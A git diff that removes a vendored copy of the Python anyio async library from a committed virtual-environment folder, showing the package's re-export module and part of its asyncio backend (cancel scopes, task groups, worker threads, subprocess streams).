ContextManagerMixin as ContextManagerMixin -from ._core._eventloop import current_time as current_time -from ._core._eventloop import get_all_backends as get_all_backends -from ._core._eventloop import get_available_backends as get_available_backends -from ._core._eventloop import get_cancelled_exc_class as get_cancelled_exc_class -from ._core._eventloop import run as run -from ._core._eventloop import sleep as sleep -from ._core._eventloop import sleep_forever as sleep_forever -from ._core._eventloop import sleep_until as sleep_until -from ._core._exceptions import BrokenResourceError as BrokenResourceError -from ._core._exceptions import BrokenWorkerInterpreter as BrokenWorkerInterpreter -from ._core._exceptions import BrokenWorkerProcess as BrokenWorkerProcess -from ._core._exceptions import BusyResourceError as BusyResourceError -from ._core._exceptions import ClosedResourceError as ClosedResourceError -from ._core._exceptions import ConnectionFailed as ConnectionFailed -from ._core._exceptions import DelimiterNotFound as DelimiterNotFound -from ._core._exceptions import EndOfStream as EndOfStream -from ._core._exceptions import IncompleteRead as IncompleteRead -from ._core._exceptions import NoEventLoopError as NoEventLoopError -from ._core._exceptions import RunFinishedError as RunFinishedError -from ._core._exceptions import TaskCancelled as TaskCancelled -from ._core._exceptions import TaskFailed as TaskFailed -from ._core._exceptions import TaskNotFinished as TaskNotFinished -from ._core._exceptions import TypedAttributeLookupError as TypedAttributeLookupError -from ._core._exceptions import WouldBlock as WouldBlock -from ._core._fileio import AsyncFile as AsyncFile -from ._core._fileio import Path as Path -from ._core._fileio import open_file as open_file -from ._core._fileio import wrap_file as wrap_file -from ._core._resources import aclose_forcefully as aclose_forcefully -from ._core._signals import open_signal_receiver as open_signal_receiver -from ._core._sockets import TCPConnectable as TCPConnectable -from ._core._sockets import UNIXConnectable as UNIXConnectable -from ._core._sockets import as_connectable as as_connectable -from ._core._sockets import connect_tcp as connect_tcp -from ._core._sockets import connect_unix as connect_unix -from ._core._sockets import create_connected_udp_socket as create_connected_udp_socket -from ._core._sockets import ( - create_connected_unix_datagram_socket as create_connected_unix_datagram_socket, -) -from ._core._sockets import create_tcp_listener as create_tcp_listener -from ._core._sockets import create_udp_socket as create_udp_socket -from ._core._sockets import create_unix_datagram_socket as create_unix_datagram_socket -from ._core._sockets import create_unix_listener as create_unix_listener -from ._core._sockets import getaddrinfo as getaddrinfo -from ._core._sockets import getnameinfo as getnameinfo -from ._core._sockets import notify_closing as notify_closing -from ._core._sockets import wait_readable as wait_readable -from ._core._sockets import wait_socket_readable as wait_socket_readable -from ._core._sockets import wait_socket_writable as wait_socket_writable -from ._core._sockets import wait_writable as wait_writable -from ._core._streams import create_memory_object_stream as create_memory_object_stream -from ._core._subprocesses import open_process as open_process -from ._core._subprocesses import run_process as run_process -from ._core._synchronization import CapacityLimiter as CapacityLimiter -from ._core._synchronization import ( - CapacityLimiterStatistics as CapacityLimiterStatistics, -) -from ._core._synchronization import Condition as Condition -from ._core._synchronization import ConditionStatistics as ConditionStatistics -from ._core._synchronization import Event as Event -from ._core._synchronization import EventStatistics as EventStatistics -from ._core._synchronization import Lock as Lock -from ._core._synchronization import LockStatistics as LockStatistics -from ._core._synchronization import ResourceGuard as ResourceGuard -from ._core._synchronization import Semaphore as Semaphore -from ._core._synchronization import SemaphoreStatistics as SemaphoreStatistics -from ._core._tasks import TASK_STATUS_IGNORED as TASK_STATUS_IGNORED -from ._core._tasks import CancelScope as CancelScope -from ._core._tasks import TaskHandle as TaskHandle -from ._core._tasks import create_task_group as create_task_group -from ._core._tasks import current_effective_deadline as current_effective_deadline -from ._core._tasks import fail_after as fail_after -from ._core._tasks import move_on_after as move_on_after -from ._core._tempfile import NamedTemporaryFile as NamedTemporaryFile -from ._core._tempfile import SpooledTemporaryFile as SpooledTemporaryFile -from ._core._tempfile import TemporaryDirectory as TemporaryDirectory -from ._core._tempfile import TemporaryFile as TemporaryFile -from ._core._tempfile import gettempdir as gettempdir -from ._core._tempfile import gettempdirb as gettempdirb -from ._core._tempfile import mkdtemp as mkdtemp -from ._core._tempfile import mkstemp as mkstemp -from ._core._testing import TaskInfo as TaskInfo -from ._core._testing import get_current_task as get_current_task -from ._core._testing import get_running_tasks as get_running_tasks -from ._core._testing import wait_all_tasks_blocked as wait_all_tasks_blocked -from ._core._typedattr import TypedAttributeProvider as TypedAttributeProvider -from ._core._typedattr import TypedAttributeSet as TypedAttributeSet -from ._core._typedattr import typed_attribute as typed_attribute - -# Re-export imports so they look like they live directly in this package -for __value in list(locals().values()): - if getattr(__value, "__module__", "").startswith("anyio."): - __value.__module__ = __name__ - - -del __value - - -def __getattr__(attr: str) -> type[BrokenWorkerInterpreter]: - """Support deprecated aliases.""" - if attr == "BrokenWorkerIntepreter": - import warnings - - warnings.warn( - "The 'BrokenWorkerIntepreter' alias is deprecated, use 'BrokenWorkerInterpreter' instead.", - DeprecationWarning, - stacklevel=2, - ) - return BrokenWorkerInterpreter - - raise AttributeError(f"module {__name__!r} has no attribute {attr!r}") diff --git a/venv/Lib/site-packages/anyio/_backends/__init__.py b/venv/Lib/site-packages/anyio/_backends/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/anyio/_backends/_asyncio.py b/venv/Lib/site-packages/anyio/_backends/_asyncio.py deleted file mode 100644 index c00c2cd9be4d773c1ed38498659021bc45099e0c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_backends/_asyncio.py +++ /dev/null @@ -1,3136 +0,0 @@ -from __future__ import annotations - -import array -import asyncio -import concurrent.futures -import contextvars -import math -import os -import socket -import sys -import threading -import weakref -from asyncio import ( - AbstractEventLoop, - CancelledError, - all_tasks, - create_task, - current_task, - get_running_loop, - sleep, -) -from asyncio.base_events import _run_until_complete_cb # type: ignore[attr-defined] -from collections import OrderedDict, deque -from collections.abc import ( - AsyncGenerator, - AsyncIterator, - Awaitable, - Callable, - Collection, - Coroutine, - Iterable, - Sequence, -) -from concurrent.futures import Future -from contextlib import AbstractContextManager -from contextvars import Context, copy_context -from dataclasses import dataclass, field -from functools import partial, wraps -from inspect import ( - CORO_RUNNING, - CORO_SUSPENDED, - getcoroutinestate, -) -from io import IOBase -from os import PathLike -from queue import Queue -from signal import Signals -from socket import AddressFamily, SocketKind -from threading import Thread -from types import CodeType, TracebackType -from typing import ( - IO, - TYPE_CHECKING, - Any, - Literal, - ParamSpec, - TypeVar, - cast, -) -from weakref import WeakKeyDictionary - -from .. import ( - CapacityLimiterStatistics, - EventStatistics, - LockStatistics, - TaskInfo, - abc, -) -from .._core._eventloop import ( - claim_worker_thread, - set_current_async_library, - threadlocals, -) -from .._core._exceptions import ( - BrokenResourceError, - BusyResourceError, - ClosedResourceError, - EndOfStream, - RunFinishedError, - WouldBlock, -) -from .._core._sockets import convert_ipv6_sockaddr -from .._core._streams import create_memory_object_stream -from .._core._synchronization import ( - CapacityLimiter as BaseCapacityLimiter, -) -from .._core._synchronization import Event as BaseEvent -from .._core._synchronization import Lock as BaseLock -from .._core._synchronization import ( - ResourceGuard, - SemaphoreStatistics, -) -from .._core._synchronization import Semaphore as BaseSemaphore -from .._core._tasks import CancelScope as BaseCancelScope -from .._core._tasks import TaskHandle -from ..abc import ( - AsyncBackend, - IPSockAddrType, - SocketListener, - UDPPacketType, - UNIXDatagramPacketType, -) -from ..abc._eventloop import StrOrBytesPath -from ..abc._tasks import call_for_coroutine, get_callable_name -from ..lowlevel import RunVar -from ..streams.memory import MemoryObjectReceiveStream, MemoryObjectSendStream - -if TYPE_CHECKING: - from _typeshed import FileDescriptorLike -else: - FileDescriptorLike = object - -if sys.version_info >= (3, 11): - from asyncio import Runner - from typing import TypeVarTuple, Unpack -else: - import contextvars - import enum - import signal - from asyncio import coroutines, events, exceptions, tasks - - from exceptiongroup import BaseExceptionGroup - from typing_extensions import TypeVarTuple, Unpack - - class _State(enum.Enum): - CREATED = "created" - INITIALIZED = "initialized" - CLOSED = "closed" - - class Runner: - # Copied from CPython 3.11 - def __init__( - self, - *, - debug: bool | None = None, - loop_factory: Callable[[], AbstractEventLoop] | None = None, - ): - self._state = _State.CREATED - self._debug = debug - self._loop_factory = loop_factory - self._loop: AbstractEventLoop | None = None - self._context = None - self._interrupt_count = 0 - self._set_event_loop = False - - def __enter__(self) -> Runner: - self._lazy_init() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self.close() - - def close(self) -> None: - """Shutdown and close event loop.""" - loop = self._loop - if self._state is not _State.INITIALIZED or loop is None: - return - try: - _cancel_all_tasks(loop) - loop.run_until_complete(loop.shutdown_asyncgens()) - if hasattr(loop, "shutdown_default_executor"): - loop.run_until_complete(loop.shutdown_default_executor()) - else: - loop.run_until_complete(_shutdown_default_executor(loop)) - finally: - if self._set_event_loop: - events.set_event_loop(None) - loop.close() - self._loop = None - self._state = _State.CLOSED - - def get_loop(self) -> AbstractEventLoop: - """Return embedded event loop.""" - self._lazy_init() - return self._loop - - def run(self, coro: Coroutine[T_Retval], *, context=None) -> T_Retval: - """Run a coroutine inside the embedded event loop.""" - if not coroutines.iscoroutine(coro): - raise ValueError(f"a coroutine was expected, got {coro!r}") - - if events._get_running_loop() is not None: - # fail fast with short traceback - raise RuntimeError( - "Runner.run() cannot be called from a running event loop" - ) - - self._lazy_init() - - if context is None: - context = self._context - task = context.run(self._loop.create_task, coro) - - if ( - threading.current_thread() is threading.main_thread() - and signal.getsignal(signal.SIGINT) is signal.default_int_handler - ): - sigint_handler = partial(self._on_sigint, main_task=task) - try: - signal.signal(signal.SIGINT, sigint_handler) - except ValueError: - # `signal.signal` may throw if `threading.main_thread` does - # not support signals (e.g. embedded interpreter with signals - # not registered - see gh-91880) - sigint_handler = None - else: - sigint_handler = None - - self._interrupt_count = 0 - try: - return self._loop.run_until_complete(task) - except exceptions.CancelledError: - if self._interrupt_count > 0: - uncancel = getattr(task, "uncancel", None) - if uncancel is not None and uncancel() == 0: - raise KeyboardInterrupt # noqa: B904 - raise # CancelledError - finally: - if ( - sigint_handler is not None - and signal.getsignal(signal.SIGINT) is sigint_handler - ): - signal.signal(signal.SIGINT, signal.default_int_handler) - - def _lazy_init(self) -> None: - if self._state is _State.CLOSED: - raise RuntimeError("Runner is closed") - if self._state is _State.INITIALIZED: - return - if self._loop_factory is None: - self._loop = events.new_event_loop() - if not self._set_event_loop: - # Call set_event_loop only once to avoid calling - # attach_loop multiple times on child watchers - events.set_event_loop(self._loop) - self._set_event_loop = True - else: - self._loop = self._loop_factory() - if self._debug is not None: - self._loop.set_debug(self._debug) - self._context = contextvars.copy_context() - self._state = _State.INITIALIZED - - def _on_sigint(self, signum, frame, main_task: asyncio.Task) -> None: - self._interrupt_count += 1 - if self._interrupt_count == 1 and not main_task.done(): - main_task.cancel() - # wakeup loop if it is blocked by select() with long timeout - self._loop.call_soon_threadsafe(lambda: None) - return - raise KeyboardInterrupt() - - def _cancel_all_tasks(loop: AbstractEventLoop) -> None: - to_cancel = tasks.all_tasks(loop) - if not to_cancel: - return - - for task in to_cancel: - task.cancel() - - loop.run_until_complete(tasks.gather(*to_cancel, return_exceptions=True)) - - for task in to_cancel: - if task.cancelled(): - continue - if task.exception() is not None: - loop.call_exception_handler( - { - "message": "unhandled exception during asyncio.run() shutdown", - "exception": task.exception(), - "task": task, - } - ) - - async def _shutdown_default_executor(loop: AbstractEventLoop) -> None: - """Schedule the shutdown of the default executor.""" - - def _do_shutdown(future: asyncio.futures.Future) -> None: - try: - loop._default_executor.shutdown(wait=True) # type: ignore[attr-defined] - loop.call_soon_threadsafe(future.set_result, None) - except Exception as ex: - loop.call_soon_threadsafe(future.set_exception, ex) - - loop._executor_shutdown_called = True - if loop._default_executor is None: - return - future = loop.create_future() - thread = threading.Thread(target=_do_shutdown, args=(future,)) - thread.start() - try: - await future - finally: - thread.join() - - -T_Retval = TypeVar("T_Retval") -T_co = TypeVar("T_co", covariant=True) -T_contra = TypeVar("T_contra", contravariant=True) -PosArgsT = TypeVarTuple("PosArgsT") -P = ParamSpec("P") - -_root_task: RunVar[asyncio.Task | None] = RunVar("_root_task") - - -def find_root_task() -> asyncio.Task: - root_task = _root_task.get(None) - if root_task is not None and not root_task.done(): - return root_task - - # Look for a task that has been started via run_until_complete() - for task in all_tasks(): - if task._callbacks and not task.done(): - callbacks = [cb for cb, context in task._callbacks] - for cb in callbacks: - if ( - cb is _run_until_complete_cb - or getattr(cb, "__module__", None) == "uvloop.loop" - ): - _root_task.set(task) - return task - - # Look up the topmost task in the AnyIO task tree, if possible - task = cast(asyncio.Task, current_task()) - state = _task_states.get(task) - if state: - cancel_scope = state.cancel_scope - while cancel_scope and cancel_scope._parent_scope is not None: - cancel_scope = cancel_scope._parent_scope - - if cancel_scope is not None: - return cast(asyncio.Task, cancel_scope._host_task) - - return task - - -# -# Event loop -# - -_run_vars: WeakKeyDictionary[asyncio.AbstractEventLoop, Any] = WeakKeyDictionary() - - -def _task_started(task: asyncio.Task) -> bool: - """Return ``True`` if the task has been started and has not finished.""" - # The task coro should never be None here, as we never add finished tasks to the - # task list - coro = task.get_coro() - assert coro is not None - return getcoroutinestate(coro) in (CORO_RUNNING, CORO_SUSPENDED) - - -# -# Timeouts and cancellation -# - - -def is_anyio_cancellation(exc: CancelledError) -> bool: - # Sometimes third party frameworks catch a CancelledError and raise a new one, so as - # a workaround we have to look at the previous ones in __context__ too for a - # matching cancel message - while True: - if ( - exc.args - and isinstance(exc.args[0], str) - and exc.args[0].startswith("Cancelled via cancel scope ") - ): - return True - - if isinstance(exc.__context__, CancelledError): - exc = exc.__context__ - continue - - return False - - -class CancelScope(BaseCancelScope): - __slots__ = ( - "_active", - "_cancel_called", - "_cancel_handle", - "_cancel_reason", - "_cancelled_caught", - "_child_scopes", - "_deadline", - "_host_task", - "_parent_scope", - "_pending_uncancellations", - "_shield", - "_tasks", - "_timeout_handle", - ) - - def __new__( - cls, *, deadline: float = math.inf, shield: bool = False - ) -> CancelScope: - return object.__new__(cls) - - def __init__(self, deadline: float = math.inf, shield: bool = False): - self._deadline = deadline - self._shield = shield - self._parent_scope: CancelScope | None = None - self._child_scopes: set[CancelScope] = set() - self._cancel_called = False - self._cancel_reason: str | None = None - self._cancelled_caught = False - self._active = False - self._timeout_handle: asyncio.TimerHandle | None = None - self._cancel_handle: asyncio.Handle | None = None - self._tasks: set[asyncio.Task] = set() - self._host_task: asyncio.Task | None = None - if sys.version_info >= (3, 11): - self._pending_uncancellations: int | None = 0 - else: - self._pending_uncancellations = None - - def __enter__(self) -> CancelScope: - if self._active: - raise RuntimeError( - "Each CancelScope may only be used for a single 'with' block" - ) - - self._host_task = host_task = cast(asyncio.Task, current_task()) - self._tasks.add(host_task) - try: - task_state = _task_states[host_task] - except KeyError: - task_state = TaskState(None, self) - _task_states[host_task] = task_state - else: - self._parent_scope = task_state.cancel_scope - task_state.cancel_scope = self - if self._parent_scope is not None: - # If using an eager task factory, the parent scope may not even contain - # the host task - self._parent_scope._child_scopes.add(self) - self._parent_scope._tasks.discard(host_task) - - self._timeout() - self._active = True - - # Start cancelling the host task if the scope was cancelled before entering - if self._cancel_called: - self._deliver_cancellation(self) - - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool: - del exc_tb - - if not self._active: - raise RuntimeError("This cancel scope is not active") - if current_task() is not self._host_task: - raise RuntimeError( - "Attempted to exit cancel scope in a different task than it was " - "entered in" - ) - - assert self._host_task is not None - host_task_state = _task_states.get(self._host_task) - if host_task_state is None or host_task_state.cancel_scope is not self: - raise RuntimeError( - "Attempted to exit a cancel scope that isn't the current tasks's " - "current cancel scope" - ) - - try: - self._active = False - if self._timeout_handle: - self._timeout_handle.cancel() - self._timeout_handle = None - - self._tasks.remove(self._host_task) - if self._parent_scope is not None: - self._parent_scope._child_scopes.remove(self) - self._parent_scope._tasks.add(self._host_task) - - host_task_state.cancel_scope = self._parent_scope - - # Restart the cancellation effort in the closest visible, cancelled parent - # scope if necessary - self._restart_cancellation_in_parent() - - # We only swallow the exception iff it was an AnyIO CancelledError, either - # directly as exc_val or inside an exception group and there are no cancelled - # parent cancel scopes visible to us here - if self._cancel_called and not self._parent_cancellation_is_visible_to_us: - # For each level-cancel() call made on the host task, call uncancel() - while self._pending_uncancellations: - self._host_task.uncancel() - self._pending_uncancellations -= 1 - - # Update cancelled_caught and check for exceptions we must not swallow - if isinstance(exc_val, BaseExceptionGroup): - cancelleds_caught, remaining = exc_val.split( - lambda exc: ( - isinstance(exc, CancelledError) - and is_anyio_cancellation(exc) - ) - ) - - if cancelleds_caught is None: - return False - - self._cancelled_caught = True - - if remaining is None: - return True - - context = remaining.__context__ - try: - # Preserve __cause__ and __suppress_context__ by avoiding `raise - # ... from ...` - raise remaining - finally: - # Preserve __context__ - remaining.__context__ = context - del context - else: - if isinstance(exc_val, CancelledError) and is_anyio_cancellation( - exc_val - ): - self._cancelled_caught = True - return True - else: - return False - else: - if self._pending_uncancellations: - assert self._parent_scope is not None - assert self._parent_scope._pending_uncancellations is not None - self._parent_scope._pending_uncancellations += ( - self._pending_uncancellations - ) - self._pending_uncancellations = 0 - - return False - finally: - self._host_task = None - del exc_val - - @property - def _effectively_cancelled(self) -> bool: - cancel_scope: CancelScope | None = self - while cancel_scope is not None: - if cancel_scope._cancel_called: - return True - - if cancel_scope.shield: - return False - - cancel_scope = cancel_scope._parent_scope - - return False - - @property - def _parent_cancellation_is_visible_to_us(self) -> bool: - return ( - self._parent_scope is not None - and not self.shield - and self._parent_scope._effectively_cancelled - ) - - def _timeout(self) -> None: - if self._deadline != math.inf: - loop = get_running_loop() - if loop.time() >= self._deadline: - self.cancel("deadline exceeded") - else: - self._timeout_handle = loop.call_at(self._deadline, self._timeout) - - def _deliver_cancellation(self, origin: CancelScope) -> bool: - """ - Deliver cancellation to directly contained tasks and nested cancel scopes. - - Schedule another run at the end if we still have tasks eligible for - cancellation. - - :param origin: the cancel scope that originated the cancellation - :return: ``True`` if the delivery needs to be retried on the next cycle - - """ - should_retry = False - current = current_task() - for task in self._tasks: - # Always skip tasks that are already done (see issue #1111) - if task.done(): - continue - - should_retry = True - if task._must_cancel: # type: ignore[attr-defined] - continue - - # The task is eligible for cancellation if it has started - if task is not current and (task is self._host_task or _task_started(task)): - waiter = task._fut_waiter # type: ignore[attr-defined] - if not isinstance(waiter, asyncio.Future) or not waiter.done(): - task.cancel(origin._cancel_reason) - if ( - task is origin._host_task - and origin._pending_uncancellations is not None - ): - origin._pending_uncancellations += 1 - - # Deliver cancellation to child scopes that aren't shielded or running their own - # cancellation callbacks - for scope in self._child_scopes: - if not scope._shield and not scope.cancel_called: - should_retry = scope._deliver_cancellation(origin) or should_retry - - # Schedule another callback if there are still tasks left - if origin is self: - if should_retry: - self._cancel_handle = get_running_loop().call_soon( - self._deliver_cancellation, origin - ) - else: - self._cancel_handle = None - - return should_retry - - def _restart_cancellation_in_parent(self) -> None: - """ - Restart the cancellation effort in the closest directly cancelled parent scope. - - """ - scope = self._parent_scope - while scope is not None: - if scope._cancel_called: - if scope._cancel_handle is None: - scope._deliver_cancellation(scope) - - break - - # No point in looking beyond any shielded scope - if scope._shield: - break - - scope = scope._parent_scope - - def cancel(self, reason: str | None = None) -> None: - if not self._cancel_called: - if self._timeout_handle: - self._timeout_handle.cancel() - self._timeout_handle = None - - self._cancel_called = True - self._cancel_reason = f"Cancelled via cancel scope {id(self):x}" - if task := current_task(): - self._cancel_reason += f" by {task}" - - if reason: - self._cancel_reason += f"; reason: {reason}" - - if self._host_task is not None: - self._deliver_cancellation(self) - - @property - def deadline(self) -> float: - return self._deadline - - @deadline.setter - def deadline(self, value: float) -> None: - self._deadline = float(value) - if self._timeout_handle is not None: - self._timeout_handle.cancel() - self._timeout_handle = None - - if self._active and not self._cancel_called: - self._timeout() - - @property - def cancel_called(self) -> bool: - return self._cancel_called - - @property - def cancelled_caught(self) -> bool: - return self._cancelled_caught - - @property - def shield(self) -> bool: - return self._shield - - @shield.setter - def shield(self, value: bool) -> None: - if self._shield != value: - self._shield = value - if not value: - self._restart_cancellation_in_parent() - - -# -# Task states -# - - -class TaskState: - """ - Encapsulates auxiliary task information that cannot be added to the Task instance - itself because there are no guarantees about its implementation. - """ - - __slots__ = "parent_id", "cancel_scope", "__weakref__" - - def __init__(self, parent_id: int | None, cancel_scope: CancelScope | None): - self.parent_id = parent_id - self.cancel_scope = cancel_scope - - -_task_states: WeakKeyDictionary[asyncio.Task, TaskState] = WeakKeyDictionary() - - -# -# Task groups -# - - -class _AsyncioTaskStatus(abc.TaskStatus): - def __init__(self, future: asyncio.Future, parent_id: int): - self._future = future - self._parent_id = parent_id - - def started(self, value: T_contra | None = None) -> None: - try: - self._future.set_result(value) - except asyncio.InvalidStateError: - if not self._future.cancelled(): - raise RuntimeError( - "called 'started' twice on the same task status" - ) from None - - task = cast(asyncio.Task, current_task()) - _task_states[task].parent_id = self._parent_id - - -if sys.version_info >= (3, 12): - _eager_task_factory_code: CodeType | None = asyncio.eager_task_factory.__code__ -else: - _eager_task_factory_code = None - - -class TaskGroup(abc.TaskGroup): - def __init__(self) -> None: - self.cancel_scope: CancelScope = CancelScope() - self._entered = False - self._exceptions: list[BaseException] = [] - self._tasks: set[asyncio.Task] = set() - self._on_completed_fut: asyncio.Future[None] | None = None - - async def __aenter__(self) -> TaskGroup: - if self._entered: - raise RuntimeError("TaskGroup cannot be entered more than once") - - self._entered = True - - self.cancel_scope.__enter__() - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool: - try: - if exc_val is not None: - self.cancel_scope.cancel() - if not isinstance(exc_val, CancelledError): - self._exceptions.append(exc_val) - - loop = get_running_loop() - try: - if self._tasks: - with CancelScope() as wait_scope: - while self._tasks: - self._on_completed_fut = loop.create_future() - - try: - await self._on_completed_fut - except CancelledError as exc: - # Shield the scope against further cancellation attempts, - # as they're not productive (#695) - wait_scope.shield = True - self.cancel_scope.cancel() - - # Set exc_val from the cancellation exception if it was - # previously unset. However, we should not replace a native - # cancellation exception with one raise by a cancel scope. - if exc_val is None or ( - isinstance(exc_val, CancelledError) - and not is_anyio_cancellation(exc) - ): - exc_val = exc - - self._on_completed_fut = None - else: - # If there are no child tasks to wait on, run at least one checkpoint - # anyway - await AsyncIOBackend.cancel_shielded_checkpoint() - - if self._exceptions: - # The exception that got us here should already have been - # added to self._exceptions so it's ok to break exception - # chaining and avoid adding a "During handling of above..." - # for each nesting level. - raise BaseExceptionGroup( - "unhandled errors in a TaskGroup", self._exceptions - ) from None - elif exc_val: - raise exc_val - except BaseException as exc: - if self.cancel_scope.__exit__(type(exc), exc, exc.__traceback__): - return True - - raise - - return self.cancel_scope.__exit__(exc_type, exc_val, exc_tb) - finally: - del exc_val, exc_tb, self._exceptions - - def _spawn( - self, - coro: Coroutine[Any, Any, T_co], - name: object, - task_status_future: asyncio.Future | None = None, - ) -> TaskHandle[T_co]: - def task_done(_task: asyncio.Task) -> None: - if sys.version_info >= (3, 14) and self.cancel_scope._host_task is not None: - asyncio.future_discard_from_awaited_by( - _task, self.cancel_scope._host_task - ) - - task_state = _task_states[_task] - assert task_state.cancel_scope is not None - assert _task in task_state.cancel_scope._tasks - task_state.cancel_scope._tasks.remove(_task) - self._tasks.remove(task) - del _task_states[_task] - - if self._on_completed_fut is not None and not self._tasks: - try: - self._on_completed_fut.set_result(None) - except asyncio.InvalidStateError: - pass - - try: - exc = _task.exception() - except CancelledError as e: - while isinstance(e.__context__, CancelledError): - e = e.__context__ - - exc = e - - if exc is not None: - # The future can only be in the cancelled state if the host task was - # cancelled, so return immediately instead of adding one more - # CancelledError to the exceptions list - if task_status_future is not None and task_status_future.cancelled(): - return - - if task_status_future is None or task_status_future.done(): - if not isinstance(exc, CancelledError): - self._exceptions.append(exc) - - if not self.cancel_scope._effectively_cancelled: - self.cancel_scope.cancel() - else: - task_status_future.set_exception(exc) - elif task_status_future is not None and not task_status_future.done(): - task_status_future.set_exception( - RuntimeError("Child exited without calling task_status.started()") - ) - - if task_status_future: - parent_id = id(current_task()) - else: - parent_id = id(self.cancel_scope._host_task) - - handle = TaskHandle(coro, name) - loop = asyncio.get_running_loop() - wrapper_coro = handle._run_coro() - if ( - (factory := loop.get_task_factory()) - and getattr(factory, "__code__", None) is _eager_task_factory_code - and (closure := getattr(factory, "__closure__", None)) - ): - custom_task_constructor = closure[0].cell_contents - task = custom_task_constructor(wrapper_coro, loop=loop, name=handle.name) - else: - task = loop.create_task(wrapper_coro, name=handle.name) - - # Make the spawned task inherit the task group's cancel scope - _task_states[task] = TaskState( - parent_id=parent_id, cancel_scope=self.cancel_scope - ) - self.cancel_scope._tasks.add(task) - self._tasks.add(task) - if sys.version_info >= (3, 14) and self.cancel_scope._host_task is not None: - asyncio.future_add_to_awaited_by(task, self.cancel_scope._host_task) - - task.add_done_callback(task_done) - return handle - - def create_task( - self, - coro: Coroutine[Any, Any, T_co], - *, - name: object = None, - context: Context | None = None, - ) -> TaskHandle[T_co]: - if not isinstance(coro, Coroutine): - raise TypeError(f"expected a coroutine, got {coro.__class__.__qualname__}") - - if not self._entered or not self.cancel_scope._active: - coro.close() - raise RuntimeError( - "This task group is not active; no new tasks can be started." - ) - - if context is not None: - return context.run(self._spawn, coro, name=name) - else: - return self._spawn(coro, name=name) - - async def start( - self, - func: Callable[[Unpack[PosArgsT]], Coroutine[Any, Any, T_co]], - *args: Unpack[PosArgsT], - name: object = None, - return_handle: Literal[False] | Literal[True] = False, - ) -> Any: - if not self._entered or not self.cancel_scope._active: - raise RuntimeError( - "This task group is not active; no new tasks can be started." - ) - - future: asyncio.Future = asyncio.Future() - final_name = get_callable_name(func, name) - task_status = _AsyncioTaskStatus(future, id(self.cancel_scope._host_task)) - coro = call_for_coroutine(func, args, task_status=task_status) - handle = self._spawn(coro, final_name, future) - - # If the task raises an exception after sending a start value without a switch - # point between, the task group is cancelled and this method never proceeds to - # process the completed future. That's why we have to have a shielded cancel - # scope here. - try: - await future - except BaseException: - if handle.status is TaskHandle.Status.PENDING: - # Cancel the task and wait for it to exit before returning - handle.cancel() - with CancelScope(shield=True): - await handle.wait() - - raise - - if return_handle: - handle._start_value = future.result() - return handle - else: - return future.result() - - -# -# Threads -# - -_Retval_Queue_Type = tuple[T_Retval | None, BaseException | None] - - -class WorkerThread(Thread): - MAX_IDLE_TIME = 10 # seconds - - def __init__( - self, - root_task: asyncio.Task, - workers: set[WorkerThread], - idle_workers: deque[WorkerThread], - ): - super().__init__(name="AnyIO worker thread") - self.root_task = root_task - self.workers = workers - self.idle_workers = idle_workers - self.loop = root_task._loop - self.queue: Queue[ - tuple[Context, Callable, tuple, asyncio.Future, CancelScope] | None - ] = Queue(2) - self.idle_since = AsyncIOBackend.current_time() - self.stopping = False - - def _report_result( - self, future: asyncio.Future, result: Any, exc: BaseException | None - ) -> None: - self.idle_since = AsyncIOBackend.current_time() - if not self.stopping: - self.idle_workers.append(self) - - if not future.cancelled(): - if exc is not None: - if isinstance(exc, StopIteration): - new_exc = RuntimeError("coroutine raised StopIteration") - new_exc.__cause__ = exc - exc = new_exc - - future.set_exception(exc) - else: - future.set_result(result) - - def run(self) -> None: - with claim_worker_thread(AsyncIOBackend, self.loop): - while True: - item = self.queue.get() - if item is None: - # Shutdown command received - return - - context, func, args, future, cancel_scope = item - if not future.cancelled(): - result = None - exception: BaseException | None = None - threadlocals.current_cancel_scope = cancel_scope - try: - result = context.run(func, *args) - except BaseException as exc: - exception = exc - finally: - del threadlocals.current_cancel_scope - - if not self.loop.is_closed(): - self.loop.call_soon_threadsafe( - self._report_result, future, result, exception - ) - - del result, exception - - self.queue.task_done() - del item, context, func, args, future, cancel_scope - - def stop(self, f: asyncio.Task | None = None) -> None: - self.stopping = True - self.queue.put_nowait(None) - self.workers.discard(self) - try: - self.idle_workers.remove(self) - except ValueError: - pass - - -_threadpool_idle_workers: RunVar[deque[WorkerThread]] = RunVar( - "_threadpool_idle_workers" -) -_threadpool_workers: RunVar[set[WorkerThread]] = RunVar("_threadpool_workers") - - -# -# Subprocesses -# - - -@dataclass(eq=False) -class StreamReaderWrapper(abc.ByteReceiveStream): - _stream: asyncio.StreamReader - - async def receive(self, max_bytes: int = 65536) -> bytes: - if max_bytes < 1: - raise ValueError("max_bytes must be a positive integer") - - data = await self._stream.read(max_bytes) - if data: - return data - else: - raise EndOfStream - - async def aclose(self) -> None: - self._stream.set_exception(ClosedResourceError()) - await AsyncIOBackend.checkpoint() - - -@dataclass(eq=False) -class StreamWriterWrapper(abc.ByteSendStream): - _stream: asyncio.StreamWriter - _closed: bool = field(init=False, default=False) - - async def send(self, item: bytes) -> None: - await AsyncIOBackend.checkpoint_if_cancelled() - stream_paused = self._stream._protocol._paused # type: ignore[attr-defined] - try: - self._stream.write(item) - await self._stream.drain() - except (ConnectionResetError, BrokenPipeError, RuntimeError) as exc: - # If closed by us and/or the peer: - # * on stdlib, drain() raises ConnectionResetError or BrokenPipeError - # * on uvloop and Winloop, write() eventually starts raising RuntimeError - if self._closed: - raise ClosedResourceError from exc - elif self._stream.is_closing(): - raise BrokenResourceError from exc - - raise - - if not stream_paused: - await AsyncIOBackend.cancel_shielded_checkpoint() - - async def aclose(self) -> None: - self._closed = True - self._stream.close() - await AsyncIOBackend.checkpoint() - - -@dataclass(eq=False) -class Process(abc.Process): - _process: asyncio.subprocess.Process - _stdin: StreamWriterWrapper | None - _stdout: StreamReaderWrapper | None - _stderr: StreamReaderWrapper | None - _exited: asyncio.Event - _transport: asyncio.SubprocessTransport - - async def aclose(self) -> None: - with CancelScope(shield=True) as scope: - # We need to close the underlying pipe_transports as well to allow a - # process blocking on full buffers to receive 